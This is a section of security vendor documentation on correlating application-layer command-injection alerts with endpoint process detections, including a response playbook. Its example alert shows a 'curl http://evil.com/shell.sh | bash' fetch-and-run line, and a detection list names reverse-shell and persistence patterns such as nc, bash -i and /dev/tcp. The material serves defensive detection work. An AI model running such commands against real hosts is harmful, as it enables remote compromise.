5.4 Command Injection with Post-Exploitation (ADR + EDR)

What this use case does: Correlates a Contrast ADR confirmed command injection (or JNDI injection, or deserialization) exploit with EDR detection of suspicious process execution on the same host — proving the exploit led to OS-level compromise.

The scenario

An attacker exploits a command injection vulnerability in your application. The injected command spawns a shell process on the host. From there, the attacker downloads tools, establishes persistence, and begins lateral movement. Contrast ADR sees the injection at the application layer. Your EDR sees the suspicious process activity at the OS layer. Neither tool alone gives you the full kill chain.

The detection gap

ADR alone	EDR alone	ADR + EDR correlated
Confirmed command injection in `subprocess.run()` — but what happened after the shell spawned?	Suspicious process: `java → bash → curl`. But why? Which vulnerability? Which function?	Confirmed: command injection in `subprocess.run()` led to reverse shell via `curl \\| bash`. Full kill chain from exploit to post-exploitation.
Sees the injection and possibly the outbound connection. Cannot see file drops, persistence mechanisms, or lateral movement.	Sees the process tree. Cannot tell AppSec which function to patch — the ticket would be “investigate your Python app.”	AppSec gets the exact function. SOC gets the full impact. Response is surgical, not a fishing expedition.

Attack timeline

Phase	What ADR sees	What EDR sees	Combined picture
Exploit	Command injection in `app.py:test_connection()`. Payload injected via POST body. Result: EXPLOITED. Sink: subprocess.run()	Nothing yet — the attack is inside the application runtime	ADR provides the trigger and root cause
Execution	ADR detects the application spawning an unexpected process	EDR detects: `python → bash → curl` process chain. Anomalous parent-child relationship.	ADR explains why the process spawned. EDR shows what it did.
Persistence	ADR may detect outbound connections to unexpected destinations	EDR detects: downloaded file in /tmp/, cron job modification, reverse shell connection, base64 decoding	Full chain: `injection → execution → persistence`
Containment	ADR: Enable Block Mode for command injection on the affected app	EDR: Kill the malicious process, quarantine the host if needed	Surgical response at both layers

Correlation logic: ADR exploit event joined with EDR detection on the same target hostname within a 30-minute window. The rule also matches suspicious process patterns.

Suspicious indicators matched by the detection rule: - Post-exploitation tools: curl , wget , nc , ncat , netcat - Reverse shells: bash -i , sh -c , /dev/tcp - Obfuscation: base64 -d - Persistence: chmod , crontab , nohup , setsid - Suspicious paths: /tmp/ , /dev/shm/ , /var/tmp/

Example alert

CRITICAL — Exploited Attack with Suspicious Execution (Risk Score: 99)
--- ADR Detection ---
Attack: cmd-injection
Application: cargo-cats-webhookservice (Python)
Endpoint: POST /testConnection
Sink: subprocess.run()
Source IP: 10.1.1.128
Result: EXPLOITED
--- EDR Detection ---
Product: [EDR product name]
Process: python → bash → curl http://evil.com/shell.sh | bash
Process path: /usr/bin/bash
Parent: /usr/bin/python3
User: appuser
--- Correlation ---
Join: Target hostname match within 30-minute window

Response playbook

Immediate: Enable Block Mode for command injection on the affected application

Immediate: Use EDR to kill the malicious process tree if still active

Review EDR process tree: what commands were executed? Any persistence mechanisms?

Check for lateral movement: did the attacker pivot to other hosts?

Block outbound connections to the attacker’s infrastructure (C2 IPs/domains) at the firewall

Preserve evidence: ADR logs (injection vector) + EDR logs (process tree, file drops)

Escalate to AppSec: provide the exact function ( subprocess.run() in app.py:test_connection() ) and payload

Threat hunt: search ADR + EDR for the same payload or indicators across all applications and hosts

Key takeaway

ADR tells you how the attacker got in — which vulnerability, which function, which input. EDR tells you what they did after — which processes, which files, which persistence mechanisms. Without the correlation, your SOC is working on two separate investigations that are actually one attack chain. Together, you get the complete kill chain from initial exploit to post-exploitation impact.

In this section: